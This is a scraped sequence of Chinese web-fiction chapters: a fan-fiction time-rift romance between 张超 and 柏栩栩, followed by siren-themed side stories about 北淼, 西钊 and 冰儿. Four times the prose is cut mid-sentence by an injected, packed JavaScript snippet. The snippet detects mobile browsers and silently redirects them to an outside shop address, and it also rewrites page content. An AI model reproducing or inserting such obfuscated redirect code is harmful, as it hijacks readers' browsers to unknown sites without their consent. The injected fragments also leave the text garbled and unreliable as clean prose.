然而,相比之前直接将镜面吞噬、持续良久才关闭的“通道”,这枚戒指开启的裂缝却很小、也不稳定,甚至维持不了多长时间。要问为什么,答案很明显。“情感之力”是“联系之物”中蕴含的记忆和感情,人与人之间的联系是双向的,而张超心中堆积的沙堡,如今只有他一个人。 时间已经冲淡了太多东西,它甚至无法成为保护张超的屏障。支撑裂缝不关闭、不让他永远迷失在时空夹缝里,是那枚戒指仅存的一点力量。 张超知道,他必须要做些什么。在他离开这副不属于自己的身体、不属于自己的时间之前。他不知道这么做会永远改变他的未来,还是会创造出一个平行时空,他不在乎。他曾经失去机会、没有退路;现在机会摆在面前,他同样无法回头。 “……哥,我有话跟你说。” “有话就好好说,哭什么。” 柏栩栩的手依然贴在他脸侧,很热,那温度让他从脸红到耳朵根。对上柏栩栩的视线时,张超忽然觉得,他想说的太多太多,而剩下的时间远远不够,他要用更直接的方式。 “哥。”他听到自己小声说,“闭上眼睛。” 柏栩栩虽然疑惑,但还是像宠小孩一样听张超的话,捧着脸的双手放下来,随意搭在他肩膀。 张超演过很多吻戏,温和的、热切的、激情的、含蓄的。毫不夸张地说,他很熟练。然而,即使没有导演、没有灯架在旁边,他也紧张得像是一个准备把初吻献给仰慕之人的毛头小子——某种意义上,也的确如此。 他没有选择慢慢靠近或者小心试探,而是像方才柏栩栩做的那样,双手捧着他的脸,猛地往自己这边拽。那是一个很糟糕的吻,仅仅只是双唇相贴,没有相融的气息、没有交互的唇齿,结束得十分仓促,没有丝毫留恋。 张超不顾抬手捂嘴、震惊望着他的柏栩栩,在他能开口说什么之前拉开门,用力将他推了出去。 “对不起。” 这次,他没有叫“哥”。 张超不知道自己最后望向柏栩栩的眼里究竟是不舍还是决绝,但他已经弥补了自己的遗憾,并亲手击碎了与柏栩栩之间最珍贵的那段友谊。现在,他也该和这里告别了。 然而,正当张超头也不回地准备关门时,柏栩栩一把上前拉住门把手,与他的力道保持微妙的平衡,门没有完全打开、一时间也没法关上。 “超、张超!你等等!”被叫全名时张超明显愣了一下,柏栩栩抓住这一瞬破绽重新挤进房间,将门牢牢锁住,拽着想要逃避的张超不让他远离自己半步:“你——” 张超盯着地板,沉声打断:“哥,别说了。你看到什么、就是什么。我只希望你知道这件事,其他的,我不在乎。” 张超想把自己的手臂抽出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334684|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,奈何他和柏栩栩之间的力气差距可不像北淼和西钊那样势均力敌。柏栩栩一拽,张超又往他的方向踉跄走了两步。而柏栩栩听上去显然有些不满:“那我的看法呢?你不在乎我怎么想吗?” “……”张超沉默片刻,摇摇头,“不管你怎么想,都改变不了什么。” “你错了。”柏栩栩紧抓的手松开些许,语气也柔和下来。他一字一句、说得清晰而坚定:“我没有否认任何事。我不想离开、不觉得恶心,也没有生你的气。超,看着我。” 支撑裂缝的圆环在一点点破碎、张超抬头望向柏栩栩的视线在泪水中模糊不清。 “如果我也想对你做同样的事,是不是可以让你相信,我对你也有同样的感情?” 张超的表情从悲伤逐渐转为震惊,最终变为困惑。眨眼时,一滴眼泪从他下睫坠落,再睁开眼,柏栩栩已经来到他面前,偏过脑袋给了他一个吻。这个吻比刚刚那个好得多:温柔、谨慎,持久。这一次,他们感受到了彼此灼热的气息,也体会到了彼此嘴唇的柔软。 张超在那一吻结束的对视中发现柏栩栩眼里也有些不确定,但更多的是释然的欣喜。他不明白,这是什么时候的事情,柏栩栩为什么也对他—— 像是看穿了张超的疑虑,柏栩栩与张超额头相抵,笑着解释道:“如果不是你,我也不会发现自己心里真实的想法。” 可是、可是…… “可我还是要走,哥。” 你会等我吗? 柏栩栩不再用手、而是吻去了张超眼角的泪:“怎么?又不是不回来。我等你。但我要提醒你,超。” 张超的呼吸一滞。 “我们走出这一步,仅仅只是个开始。每个人都要为他们的行为负责。现实不是童话。我们和别人不同,会受到很多限制,也会经历更多困难。我想知道,你……能不能承受这一切?” 张超没有马上回答,而是反问了一句:“你会一起吗?” “嗯。当然。” “那就能。” 圆环崩裂的刹那,张超再次吻上了柏栩栩。他的意识在裂缝关闭的最后一秒回到了属于自己的、真正的“现实”。 张超跌坐在地,望着面前不知为何碎裂的全身镜。镜中的自己扭曲成无数份碎片,拼凑不出他布满泪痕的脸。 他不认为刚刚的经历是一场“梦”,因为他摔在地上之前,看到了“张超”和柏栩栩亲吻的瞬间。同时,他也听到了一个声音。那个声音来自过去的那个自己。 “谢谢你。”那个声音说。 张超站起身,低头看看右手空空如也的无名指,嘴角勾起微笑。他似乎不觉苦涩,反而感到无比释然。 严格意义上说,他的遗憾其实没有“弥补”,但他可以“成全”。他相信,既然存在北淼和西钊那样真实的《铠甲勇士》世界,那么必然存在由他亲手创造的平行时空。在那里,“张超”和“柏栩栩”,跨越世俗的桎梏和壁垒,幸福地生活在一起。 而他…… “你还好吗?” 忽地,电视里传来的声音将张超吓了一跳。他这才发现,白白不知道什么时候跳到茶几上,误触遥控器,将电视机调到一部美剧的画面。 张超无奈地笑着摇摇头,走过去想关掉电视。但一向怕他、躲他的白白,这时却主动勾着尾巴来到他脚下蹭了蹭,仔细听,还能听到呼噜声。 “白白……” 张超蹲下来准备抱起白白时,电视里的一句台词让他的动作僵在原地。 “总有人无法和爱人一起白头。” “我会和她一起白头,只是天各一方。” “……” 白白的脑袋钻进张超的手掌心,它的耳朵从张超的虎口处探出,却被落下的一滴冰凉弄得发痒,惹得它下意识抖抖耳朵。 “啊,不好意思,白白。”张超一边关掉电视,一边干笑两声随意抹了抹眼角,“白头如新,倾盖如故。到头来,原来是这个意思。” 不知是不是巧合,他的手机忽然响起新信息提示。张超惊讶地发现,发件人竟然是柏栩栩。2025年了,他们居然还在互相发短信。 “超,我们多久没联系了?我最近在S市出差,正好听说你来这边宣传你的新剧。一起吃个饭吧,我们也好好叙叙旧。方便的话,给我回个电话。” 张超注视着那个名字许久许久,久到白白突然跳上他的裤腿攀到他肩膀窝着,他才猛然回神。 他转头看了一眼已经黑屏的电视,脑海中不断播放那一句“我会和她一起白头,只是天各一方”。 他明白,自己该放手了。 张超点开消息输入栏,本想回一句“好”,却又马上删除,直接按下了拨号键。 FIN 57. 生于碧海蓝天[番外] ※架空AU ※但设定上是原作西钊写的一篇小说。 ※小说名字也叫《生于碧海蓝天》。 ※以下是相关设定。 ———— ※塞壬 ○鸟足人身的“怪物”,喜独居,杂食。 ○通常拥有六对翅膀:用于飞行的背羽、用于调整平衡的侧翼和尾翼。 ○雌性居多,雄性极其稀有。 ○能化身人鱼,在海洋的游速不亚于飞行速度。 ○通晓一切乐器。 ○无法发出正常的声音(说话),开口即为声乐诗歌。 ○歌声有蛊惑人心与意志的效果,但塞壬可选择“仅歌唱”或“释放力量”。如果释放力量,塞壬既可以通过“听觉”传达歌声,也可以将歌声直达“大脑”。后者会对其神经产生损伤,有概率留下后遗症。 ○塞壬通过乐器演奏的音乐不具备影响精神的力量,除非是以塞壬之骨骸制作的乐器。 ○塞壬在极度恐慌/愤怒/压抑等极端情绪下会爆发“狂暴之歌”,以极强的力量刺激周围所有生灵的神经,持续时间根据其怒气槽长短决定,传播范围广,能够被距离最近的同类听见。在同类间通常被认为是一种求救信号。 ○背羽是塞壬维持鸟形态的力量来源,失去背羽的塞壬无法飞行、也无法长期保持鸟形态,只能以人鱼形态生存。 ○目前有三种方法可以免疫塞壬的歌声:个人特殊体质、鸟形态时来自其背羽根部且受其祝福的羽毛、人鱼形态时来自其背鳍附近且受其祝福的鳞片。(后两者只对祝福者有效,物品易主效果会消失、但不会转移) ○喜天空的塞壬巢穴一般在礁石山洞,喜大海的塞壬巢穴一般在海底洞穴。 ○听得懂鸟类和鱼类的语言,也通晓人类的语言和文字。 ○性格有好有坏,有攻击船只的塞壬,也有只会恶作剧或远离人类生活的塞壬。 ○电击抗性和毒素抗性较弱。(来自海洋生物的相关毒素除外) ※西钊 ○种族为塞壬。 ○年龄未知,但在同类中算比较年轻的一代。 ○ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334685|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巢穴在海底,偶尔也会出来透口气。 ○羽毛、鳞片和鱼尾为银色,耳翅、耳鳍、背鳍尖端有一点点浅蓝色。 ○眼睛通常情况下是深色(棕/黑),只有在情绪波动、透过阳光直射、同族或有灵性的人类,才能看到一闪而过的苍蓝色。 ○手部通常为人形,生气时手会变成利爪,手臂会出现当前形态的特征(羽毛/鳞片)。 ○喜欢人类,但也离得很远。许多年前因对自己的力量没有概念导致一艘十几人的小船沉没,因此十分忌惮自己的能力,从不使用“刺激大脑”的歌声。 ○比同类更有“灵性”,类似于DC海王吸引鱼类体质,因此不吃鱼,是非典型素食主义者,实在饿得不行了会去荒岛狩猎陆地生物。(陆地生物:?) ○某种意义上其实很爱吃肉,只是不常吃,所以看上去很瘦。 ○最喜欢的乐器是自己做的竖笛和竖琴。 ○鸟形态的睡姿是站着用翅膀把自己裹成一团,人鱼形态的睡姿是像个鱼肉卷一样蜷起来,有条件更喜欢以人鱼形态休息。 58. 天使与怪物[番外] ———— 北淼见过两次塞壬。 ———— 第一次看到这种传说中的生物时,他才七岁。父母把他留在海边的别墅交给管家照料,便出门到福利院赴约领养第二个孩子。 年幼的北淼十分淘气,轻车熟路地躲过管家的眼睛,绕到别墅的背后、直奔沿岸的金黄沙滩。自从被养父母带着在这里看过海天一际燃烧的日出,北淼就对它一直念念不忘。 现在正值清晨,苍蓝的天空飘着几片棉絮一般的云雾,海风清凉、轻抚水面留下粼粼波纹。大概是觉得有点冷,北淼把双手夹在腋下,脖子也往衬衣里缩了缩。他踩着鞋跟脱下鞋子踢到一边,小跑着来到浅滩处。远处扑来的浪潮随着距离一点点消弭,最后只淹没到北淼小小的脚掌。北淼被海水冻得匆匆往后退几步,不料身后有几块沉积已久的凸起沙块,他重心不稳,即使伸手在两侧晃悠着保持平衡也无济于事,重重地跌坐在湿冷的沙滩上。 也正是这时,一直低头看海浪的北淼才抬起头,望向海的那边,与天际相交的地方。他期许的日出并没有降临,薄纱一般的云雾随着逐渐阴沉下来的天气变得浓重暗沉,挡住了红色火球的光晕,将那份火烧云的惊艳削减大半。 北淼失落地爬起来,闹脾气一般对着天空大喊:走开!你们这些碍事的东西! 他没想到,回应他的不是远在天边的阴云,而是离他不近不远处、海湾的角落里,站在一块崎岖礁石上的巨大影子。如果不是空气和波浪流向发生变化,北淼完全不会注意这个距离自己仅仅百米不到的奇异生物。 远远望去,北淼发现它上半身是人形、下半身是鸟一样的爪子,面对不断撞击礁石的巨浪和吹乱它头发的海风,也能纹丝不动。它有着三对翅膀,都是比浮云还要漂亮的雪白色,几乎可以把它整个都包裹起来。它展开最大一对羽翼的其中一边,似乎在用手仔细梳理。它的脑袋偏向北淼的方向,让北淼有一种它在看着自己的感觉。 来自孩童的好奇心让他朝那块礁石的方向跑去,也没有理会身上的沙子和浸湿的衣物。它没有立即离开。而当北淼离它越来越近,这才逐渐意识到礁石远没有他刚刚看的那么低矮,足足有他家别墅那么高。可他还想离得更近一些,想抚摸它柔顺的羽毛、锋利的钩爪,还有…… 北淼站在礁石不远处,抬头与它对上视线。忽地,一束朝阳的光线穿透阴云照映在那个美丽的生物身上。刹那间,一抹亮蓝色在它的深色瞳孔中闪过,转瞬即逝、不留痕迹,仿佛只是一时错觉。那是他见过最纯粹、最透亮的蓝色。 “小淼、小淼——” 管家的声音从遥远的身后传来。北淼只是一个回头、确认管家的位置,再望向礁石顶部时,一阵强烈的气流吹得他睁不开眼,几乎将他掀翻。好在、管家在身后托住他,将他抱起来。北淼也没有管家的责备和担忧,只是远远眺望海天交接的地方,看着那个身影渐渐变小、直到消失。 北淼不记得它的模样,也不记得其他细节。多年之后,他对它的印象,只有闪烁在眼眸中那一瞬苍蓝的光。 那时,他曾想过,这或许就是人们口中说的“天使”。 直到五年后,“那件事”发生。 ———— 北淼脱下西装外套随意地挂在衣柜,接着抬手解开衬衣上的袖扣,放回盒子里收好。 他一向不喜欢与那些所谓的“大人物”做无用而繁琐的社交,但既然他需要经营好一家船贸公司,该做的表面功夫还是要做。这也多亏父亲在前面挡下不少,不然落在“黑犀集团董事长儿子”肩膀上的应酬,可就不止现在这些了。要他去跟华尔街那帮看西装牌子决定交流态度的家伙对话,不如让他回到以前做“新生派代言人”的无聊日子。 夜色已深,窗帘外的街景依旧灯火通明。北淼打开电视放着唯一订阅的新闻频道,从冰箱拿出一罐啤酒,走到窗边将窗户开出一条缝,抿了口酒,微微眯眼——北风、明天可能转南风,会短暂升温。他关上窗,坐回沙发上,翘起腿看新闻。 他没有开客厅灯,新闻播报切换画面时的亮光映在他脸上忽明忽暗。 北淼生来就与众不同。他能感知水的流向,如果他足够专注,也能感知到空气的流动。不过他没法操控水、也没法判断影响流向的是什么。一直以来,他都觉得这种“超能力”很鸡肋,所以这件事连养父母也不知道,唯一的知情人是…… “近日,‘黑犀海上贸易’与全国最大海洋动物保护机构达成合作,未来将投入更多资源,为创造更好的海洋自然保护区贡献一份力。据了解,在‘黑犀海上贸易’创立的4年间,已将其海上贸易路线扩张至全国各地。我台记者针对其激进且迅速的贸易策略,对相关高层进行了专访。那么张北淼先生,您……” 新闻播报员的声音逐渐随北淼的思绪远去。他的视线落在面前茶几摆着的一个相框上。他又灌了口啤酒,拿起相框,拇指蹭了蹭玻璃之下、定格在照片中的那副属于小女孩的、幸福的笑容。 “小雪……等着我。就算翻遍整个世界,我也一定会把你找出来、带你回家。” 哪怕他是最后一个相信小雪还活着的人。 北淼小心地将相框立回茶几,脑海里不禁又开始回响那天听到的刺耳歌声——不,那已经不能称之为“歌”,只是一个怪物的狂暴怒吼,尖锐得令人发疯。他已经被那恐怖的声音折磨了近十年,至今还在定期做心理疏导。医生总是说,他的噩梦不是那只怪物,而是因它而死的、自己的妹妹。 最后一口啤酒灌空,北淼攥紧空易拉罐,让它变得扭曲、几乎被拦腰斩断,仿佛易拉罐就是那只怪物,让北淼恨不得撕裂它的翅膀为小雪和那天登船的所有人鸣冤。 它的名字叫塞壬,而它“杀”了小雪。 “为纪念‘苏兰特号’失事十周年,当年事故中逝世的乘客及船员家属自发组织了一场追悼会,将于明天在D市国家公园举行。下面请看详细……” 北淼烦躁地关掉电视,解开衬衣扣子准备洗漱上床休息。然而此时,他的手机不合时宜地响起。北淼已经明令禁止公司任何人在下班时间工作、特别是给他打电话,不管是他还是他的合作方。 他拿起手机就要开骂,却在看见来电显示之后,脸上的怒意立马变得严肃而迫切。那是“黑犀海上贸易”旗下不为人所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334686|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知的子公司“三水之家”,是北淼为了掩人耳目、便于自己私下进行各类事件调查的机构。北淼拒绝一切非工作时间的来电,但对于他委托“三水之家”调查的事,只要有结果,他从不在意几点通知他。 “喂,是我,张北淼。关于‘苏兰特号’沉没一事,有什么新消息?” “老板,根据您提供给我们的资料,‘塞壬’已经脱离神话传说,被登记为真实存在的物种。因此在告诉您以下情报之前,您必须了解,作为独立物种,全世界并非仅有一只。” 北淼努力压住自己压在胸口的急躁火气,不耐烦地应道:“我知道。所以任何关于那个怪物的事情都不要放过。现在说重点。” 电话那头传来纸张的翻页声,对方轻咳一下,似乎在对着上面的内容总结目前的情况:“我的海上调查小队搜集到了一些关于塞壬的目击报告。在‘尼莫点’以东500英里处,范围在20英里左右。目击者大多是迷失的渔民和被丢下水的海盗。他们可能受到过塞壬的精神攻击,因此无法给出有效信息。但其中有一名船员诉说的故事非常详细,也有迹可循。他是‘黑犀海上贸易’的一名船员,老板,目击事件就发生在两周前。” “什么?”北淼语气里充满不可思议。他自己的人曾经见过那个隐匿数年、即使被确认真实存在也鲜少人知的怪物?就在他眼皮底下?两周之前? “是的,根据您提供的权限,我们查到,您两周前与S市‘地虎土木有限公司’在资源交接的过程中,‘丢失’了10个集装箱物资,预估损失近百万。” 北淼记得这件事,他在对方说出下一句时反问道:“但报告上明确写着‘海上风暴’导致的自然损耗,由保险……等等。” “您也注意到了。‘海上风暴’是一个非常模糊的因素,您当时也没有与国家气象部门核对事发当天的海上天气情况。 “结合目击者的描述,他在运输过程中耳膜受损,暂时失去听力。他躲在驾驶室、看到塞壬出现在他们的甲板上,用歌声诱惑人们在一处孤岛靠岸、操控并搬运集装箱上岸后再让他们离开。当大家清醒之后,都认为刚刚经历了一场风暴,因此丢失了货物。 “他向人们描述塞壬,但没人相信他。后来他闹得越来越大,每个在您手下工作的人都知道您对塞壬的忌讳。上级为息事宁人,避免您介入其中让自己丢了工作,于是给他下发‘精神状况评估单’,他才不得不闭口不谈。” 该死的官僚主义。北淼低声骂了一句,但很快冷静下来。调查了这么多年,虽然还是没能查出“苏兰特号”当初沉没的“真相”和线索,但这个目击者至少可以算是给他的安慰奖。 “老板,需要我们继续深入调查吗?相关海域和他当时乘坐的‘海龙号’行驶路线都已做好标记。” “不用。”北淼单手扣回衬衣领的扣子,用肩膀夹着手机,抓起衣柜里刚挂上去不久的外套,“把资料都发给我。联系林总,备船,我要亲自去。” 出门前,北淼回头再次看了看茶几上的相框。不禁一声冷笑。 哼,果然。 人类各有不同,怪物都一个样。 TBC 59. 孤岛[番外] “货船编号X7045,集装箱序列号H17-H27。这是运输货物清单,你们自己清点吧。” 冰儿站在码头,将一张折叠起来的纸张夹在双指间,递给面前戴着墨镜的黑衣人。正午的艳阳直射下来,映得他们胸前挂着的淡蓝色鳞片闪闪发光。 黑衣男取下墨镜,打开清单随意扫了一眼,便转身准备登船离开。冰儿环抱双臂叫住了他,语气冷淡、平静,仿佛这样的事情总是发生。 “这周的缓释血清。” 黑衣男将墨镜戴好,头也不回地从西装外套内袋里拿出两支装着淡绿色药剂的密封针管,往身后冰儿的方向随手一丢。冰儿在它们落地之前,以几近不可能的速度及时接住。 冰儿站在码头上眺望远去的航船,直到它消失在天际的尽头。她的眼神和她的名字一样冰冷,仿佛在透过那渐渐离去的船只,厌恶着什么不存在的东西。 忽地,她感觉内脏一阵绞痛,视线模糊、头脑眩晕。她轻车熟路地拆开针管的外包装,挽起长袖就往自己肘部扎了一针。随着淡绿色的液体被一点点推入体内,方才那种疼痛和不适才缓缓消失。这不是让她上瘾的药物,而是针对在她身体不断蔓延的慢性毒素的缓释剂。如果不定期注射,他们只需要两周就会被这种毒素杀死。就连神秘而强大的生物——塞壬——也不能幸免。 冰儿将空针管摔在地上,抬脚用力踩碎。她讨厌这个、讨厌这种感觉。十年了,哪怕有西钊的歌声帮她缓解,她也从来没有习惯过。 对了,西钊。 冰儿绕下码头,钻进一辆淡蓝色的老旧皮卡,往孤岛另一边的礁石洞穴驶去。 孤岛的植被很少,只有一栋两层的自建房、两个码头、几座小山丘和一个人造礁石山洞。自从卡伦把他们带到这里,除非有任务,否则西钊只能在礁石山洞里的人工湖和自建房里的海洋穹顶隧道活动。任何离开自己活动范围的下场就是来自脚踝上人类几乎无法承受的电击——对于西钊来说,是脖子上套了十年的颈环。 冰儿不知道这种日子还会持续多长时间,但她早已放弃成为“正常人”。她不觉得现在的生活有多好,也不想尝试逃离。因为她无处可去、因为她除了西钊这个哥哥,什么都没有。 真是笑话,曾经最疼爱自己的哥哥和父母早就放弃了她,而真正保护她、关爱她的“哥哥”却是一只来自天空和大海的“怪物”。 冰儿将皮卡停在礁石山洞旁边的黄石路上,拿着针管走过山洞中弯弯绕绕的道路,来到最深处一片巨大的人工湖前。山洞很黑,但冰儿完全不害怕,因为她见过比黑暗更恐怖的东西。她依旧是一副冷冰冰的样子,但眼神柔和了不少。她蹲下身,用手轻轻拨动水面,就好像某种别致的召唤仪式。 “西钊,他们来过了。” 几秒之后,水底传来一阵响动。紧接着,西钊在距离冰儿身旁不远处钻出水面。他深棕色的短发湿淋淋地贴在额头,银色的耳鳍与上身的银鳞即使在黑暗的洞穴中也映着微光,隐约能看到他顺着脊背向下一直到尾椎的淡蓝色背鳍,而他脖颈上的细细颈环闪烁着红色光点,与他格格不入。 西钊甩甩脑袋,又伸手抖了抖头发,上面残留的水珠大部分都溅到了冰儿身上。冰儿冷着一张脸朝西钊泼了把水,随后便意识到对一只人鱼这么做没有意义。 相处太久,冰儿能看得出西钊现在也觉得很不舒服,但他还是朝自己勉强展开狡黠的笑容。此情此景让冰儿脸色更黑了,她晃晃手里的针管,表明自己的来意。西钊很配合地背转过身,等着冰儿帮自己注射。 其实冰儿一开始并不明白为什么西钊要从背后注射药剂。但当西钊背对着她时,她清楚地看到,在西钊背鳍的两边,有两道刚刚愈合、还没有被银色鳞片完全覆盖的细长伤疤。冰儿知道它们的由来。因此,她也找到了那个问题的答案:西钊不懂注射器的原理,他只是觉得那个东西能缓解疼痛。而卡伦的毒素带给他的痛苦都在那两道伤疤上。 药剂注射完成,冰儿站起身踩碎针管。她看到刚刚西钊耷拉下来折叠在一起的耳鳍重新舒展立在脸侧,便知道他已经恢复活力。 冰儿靠着岩壁坐下,屈腿抱着双膝。西钊也跃上湖岸,贴着人造的岩石陪在冰儿身边。他感觉到冰儿心情并不是很好,正准备拿出自己的竖笛向往常那样给她吹曲子。竖笛都放到嘴边了,却被冰儿打断。 “每次都是那几首,听腻了。” 事实上,冰儿每隔一段时间就会从卡伦那里要些人类世界的歌来听,挑喜欢的让西钊用竖笛和竖琴演奏。但交接货物的日子她总是很烦躁,免不了习惯性地为难西钊。 西钊放下竖笛,想了想,转身一头钻进人工湖里。冰儿困惑地挪了身子往西钊深潜的方向看去,怎么说这个笨蛋也不会被她这句话气走吧?正当冰儿朝水面伸手时,西钊从湖靠石壁的另一侧钻出,随即往岸上丢了一条大鱼。那条鱼甚至还生龙活虎地不停打挺,身上还有漂亮的花纹。 冰儿很快明白了西钊的意思。一开始她还不领情,明知故问地说“干什么,我又不吃”,结果几秒钟之后肚子公然“抗议”,闹了个笑话,她才捡起旁边的石头对准了它。在砸晕那条鱼之前,冰儿看向西钊,西钊只是摇摇头,用手语说“没关系”。一直被宠坏的冰儿从来不和西钊客气,挥胳膊就送那只可怜的海鱼光速归西。 卡伦每周除了会派人交接货物,每个月也会带来补给。但只是一些罐头食品,有时甚至只能简单一天一顿地凑合。冰儿因为营养不良生过几次病之后,西钊便开始给她抓可以生吃的海鱼,直到冰儿会自己烹饪处理它们。冰儿还小的时候不知道西钊会和鱼说话、跟鱼做朋友,也不知道西钊因此不吃鱼;等冰儿很久之后发现这件事,西钊早就习惯这么做了。 那时她才十几岁,都不知道自己在生谁的气,就这么闹得连续两天绝食,直到自己饿晕在码头。等冰儿醒过来,就看到西钊亲自给她烤了一条特别特别香的海鱼、还有一碗咸咸的海带汤,慢慢喂给她。那天,她哭得跟西钊失去翅膀时一样厉害。对此手足无措的西钊虽然知道冰儿在难过什么,但一时半会也想不出什么办法,只好用温和悠扬的歌声安慰她。 西钊没有使用魔力。 他从不会对冰儿使用力量。 西钊在唱给冰儿的歌里对她说了一个谎,他说:不用因为我而为死去的鱼儿们难过,我保证以后只抓它们之中的‘坏家伙’,就像人类抓罪犯那样。如此一来,你也算是替天行道了。 于是,只要冰儿想、或者她不高兴,西钊就会抓来一条海鱼哄她开心,几乎每次鱼的品种和味道都不一样。 冰儿虽然相信西钊关于“鱼儿有罪论”的说辞,但她心里明白,西钊还是会有所顾忌。而她能为西钊做的,大概只有避着他吃吧。 西钊这次给冰儿抓的鱼很沉,起码有个五公斤往上。如果她省着点吃,用盐巴腌一腌,大概能在它坏掉之前吃上两三个星期。冰儿将鱼扔上皮卡车后,便坐上驾驶位。西钊大概会沿着人工湖下面的通道到自建房那边去,冰儿想,因为她现在要回家给自己做饭。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334687|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 西钊很少吃东西——至少冰儿没怎么亲眼看见。卡伦带来的补给他总是以“不吃人类食物”为由拒绝。冰儿知道这是把补给让给她的借口,但她从不戳穿,只是会把肉罐头和水果罐头装进饭盒,支开西钊之后留在礁石山洞的人工湖旁,隔一天来就会发现一个空盒子。没有人说破这件事,他们心照不宣。 冰儿停好车,拎着鱼开门回家。这栋自建房最初很破败,似乎很久没有人居住。卡伦对它进行了彻底的改造,不仅有通往孤岛另一头礁石山洞的通道,还有和水族馆同款的透明弧形穹顶隧道。西钊刚被带来这里的时候,就在这个隧道外的造景里筑了个简单的巢穴。冰儿常常和西钊在这里闲聊、发呆。 小时候冰儿一个人住,害怕得睡不着,就会偷偷跑过来看西钊像个寿司卷一样蜷起来的滑稽睡姿,然后靠着亚克力隔离板安心睡过去、一夜无梦。后来她长大了,这个习惯还是没改掉。不过她可不会再像个孩子一样坐在这里睡着,而是敲敲亚克力板,把西钊叫醒,让他给自己唱安眠曲,唱得困了,就去睡觉。 正如冰儿所预料的那样,等她处理好鱼、吃饱喝足来到穹顶隧道,便看到西钊坐在一处低矮的人造礁石上,闭着眼专注地弹奏竖琴。那是一首冰儿非常喜欢的流行曲,被西钊用不知道流传了几个十年的竖琴演奏出来,听上去别有一番风味。 冰儿手里拿着自己做的冰淇淋,啃掉一口、悄无声息地站在亚克力隔离板面前看着西钊。她听某个人说过,塞壬就好像“天使”,是非常美丽的生物。虽然她曾经经受塞壬的歌声折磨,但西钊的出现让她彻底摆脱了那个噩梦。她不喜欢塞壬,但西钊不同。他银白色的大尾巴自然地搭在礁石上,透明的尾鳍微微摆动,短发在水中也被梳成一缕缕的,随着水流漂浮。如果不是见过西钊拥有翅膀的模样,冰儿估计都不会知道他的头发有一点自然卷。 一曲结束,冰儿手里的冰淇淋也吃了个干净。西钊太过专注,以至于没有注意到冰儿就在眼前。他吓了一跳,竖琴险些脱手。虽然冰儿很喜欢看西钊出糗的模样,但她过来找西钊也不是单纯为了听音乐。 “有新任务。这次在太平洋以西,是‘黑犀集团’的‘波塞冬号’。一样,10个集装箱。” 西钊收好竖琴,点了点头。不过他看上去有些疑惑,不太熟练地给冰儿打着从她那学来的手语:“我们两周前才袭击了他们的货船。” “不清楚,不在乎。详细情况今晚会发传真过来,你先做好准备吧。” 西钊知道冰儿对任务从来都一丝不苟,但态度也同样冷漠厌烦,然而只要牵扯到“黑犀集团”——尽管他只接触过几次——冰儿的情绪就会比以往更加阴晴不定。西钊问过冰儿,但她只是说:那里都是一些讨人厌的家伙。其他的西钊再问,冰儿也不多说一个字。 西钊不懂怎么调查人类的事情,他没法离开这里。虽然他可以和鱼交流,但除了鲸鱼和海豚,几乎没有什么海鱼的智力足以胜任这个委托。再说了,这个地方也没有鲸鱼和海豚经过…… 如此想着,西钊腮帮微微鼓起,遗憾地叹口气,不自觉地在水里吐了一串泡泡。 “……你在干嘛?” 没见过西钊这么干的冰儿明显被这一幕震惊到了。西钊灵机一动,摆摆尾巴,故技重施地鼓起腮帮咕噜噜吐了一串大小不一的泡泡,明摆着在逗她开心。 冰儿表情僵硬,抿唇忍耐许久,终是没把持住,扭过头试图掩盖压不下去的嘴角。 “……笨蛋。” TBC 60. 祝福之物[番外] 北淼走进这家名为“安德洛美达”的神秘店铺,在昏暗的黄色灯光下,绕了好几个积灰的玻璃展示柜、抬手拨开吊在头顶的一串串干制花草,总算找到了这家店的柜台。 “安德洛美达”位于城市最北部红灯区的巷子深处,除了门口挂着手写的店铺名之外别无他物,平时几乎没有人会经过附近的街区。老板是个驼背的老头,患有侏儒症,从柜台后的高凳上下来之后还没北淼的膝盖高。他的笑容就和摆出来展示售卖的物品一样阴森得令人脊背发凉。 